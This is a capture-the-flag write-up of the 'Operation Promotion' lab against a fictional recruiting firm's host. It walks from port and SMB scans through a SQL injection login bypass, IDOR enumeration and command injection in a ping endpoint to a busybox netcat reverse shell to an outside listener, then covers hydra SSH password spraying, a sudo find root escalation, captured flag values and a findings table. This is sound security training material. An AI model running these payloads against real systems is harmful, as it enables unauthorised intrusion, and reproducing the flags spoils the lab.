☼
⌃
☰

Operation Promotion

Table of Contents

Description

You are up for promotion at Hadron Security. Your senior lead, Mara, has handed you a solo engagement against RecruitCorp, a small recruiting firm with a public-facing portal. Compromise the host, capture the flags, and demonstrate that you are ready for the Penetration Tester title.

Related: Command Injection GTFOBins

CTF

Enumeration

Port scan

SHELL
nmap -sV -p- $IP
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
80/tcp  open  http        Apache httpd 2.4.58 ((Ubuntu))
139/tcp open  netbios-ssn Samba smbd 4
445/tcp open  netbios-ssn Samba smbd 4

Website

Contact email: careers@recruitcorp.thm — mentions a portal.

SMB share scan

SHELL
nxc smb operation-promotion.thm -u guest -p '' --shares
Null Auth: True
Share    Permissions  Remark
public   READ
IPC$     IPC          Service (RecruitCorp File Services)

Null/guest auth enabled — connected and browsed public share:

SHELL
impacket-smbclient guest:''@operation-promotion.thm
shares
use public
ls
cat README.txt
This share is reserved for future internal file distribution.
Nothing to see here yet.
- IT

No immediate lead — flagged as a finding regardless (null session SMB access with a readable share is a misconfiguration worth reporting even without further exploitation value here).

Directory search

SHELL
ffuf -u http://$IP/FUZZ -w /usr/share/wordlists/dirb/common.txt
admin        [Status: 301]
config       [Status: 403]
index.php    [Status: 200]
robots.txt   [Status: 200]

Admin portal found at /admin.

Foothold

SQL injection — admin login bypass

Endpoint: http://operation-promotion.thm/admin Payload (username field): admin' --

Leads to a dashboard with a user-lookup-by-id feature and a "your profile" quick link (id=1), both routing through: /admin/users/lookup.php?id={id}

User enumeration via lookup endpoint (IDOR)

Incrementing id exposes other accounts. id=7 revealed a service account:

ID       7
Username sysmaint
Role     system
Notes    Service account for /admin/sysmaint-checks/ping.php.
         Do not disable.

Note field directly discloses a second, unauthenticated endpoint.

Command injection — ping utility endpoint

Endpoint: /admin/sysmaint-checks/ping.php?host=<target>

Confirmed via separator injection:

http://operation-promotion.thm/admin/sysmaint-checks/ping.php?host=a;ls

Returned ping.php in the output, confirming command execution in the current directory context.

Reverse shell

Listener:

SHELL
python3 penelope.py

Exploited via the ping endpoint using BusyBox netcat (URL-encoded command separator):

http://operation-promotion.thm/admin/sysmaint-checks/ping.php?host=127.0.0.1;$(busybox%20nc%20192.168.146.137%204444%20-e%20bash)

Post-shell, found a database config file at /var/www/html/db.conf disclosing a username (jford) but no password.

Password recovery — rule-based mutation against a guessed seed

Rather than a raw wordlist, generated mutations from a single guessed seed value using a hashcat rule file, then sprayed against SSH:

SHELL
echo "spring2026" > base.txt
hashcat --stdout base.txt -r /usr/share/hashcat/rules/dive.rule > wordlist.txt
hydra -l jford -P wordlist.txt operation-promotion.thm ssh
[22][ssh] host: operation-promotion.thm   login: jford   password: spring2026!

Note: the seed value (spring2026) was derived from wording found on the RecruitCorp homepage combined with the common season+year(+symbol) password construction pattern, then validated via rule-based mutation against SSH — not a recovered hash and not a blind guess.

Privilege Escalation

Sudo rights enumeration

SHELL
sudo -l
User jford may run the following commands on recruitcorp:
    (root) NOPASSWD: /usr/bin/find

GTFOBins — find

find confirmed as a known privilege escalation vector on GTFOBins.

SHELL
sudo find . -exec /bin/sh \; -quit

Root shell obtained. Root flag captured from /root/flag.txt.

Flags

Flag Value Status
User flag THM{bdbee0a91ebcb0b0fafde931223efe09} DONE
Root flag THM{d999a1f6319a9c5b48c067dfab314ba2} DONE

Findings Summary

Finding Classification Severity
Admin login vulnerable to SQLi auth bypass SQL Injection Critical
lookup.php?id= lacks ownership check Broken Access Control (IDOR) High
Service account notes disclose internal endpoint path Information Disclosure Medium
SMB null session with readable share Security Misconfiguration Low
ping.php vulnerable to command injection Command Injection Critical
Weak/guessable SSH password Broken Authentication Medium
find runnable as root via NOPASSWD sudo Security Misconfiguration (Privilege Escalation via GTFOBins) Critical

Notes

Fast, linear chain — SQLi auth bypass surfaces an IDOR that itself discloses the path to the actual command injection vector, which is the real gateway to the box. Good example of how a low-severity disclosure (notes field on a lookup endpoint) can be the critical link between two otherwise-separate vulnerabilities — worth keeping an eye out for this "disclosure enables discovery" pattern on the retake, since it's easy to log the IDOR and command injection as unrelated findings when they're actually chained.

Command separator used for the ping endpoint was a straightforward ; this time (semicolon), not a newline as in Silent Monitor — worth noting the target-specific difference rather than assuming filters always behave the same way. See Command Injection for the broader separator/bypass reference.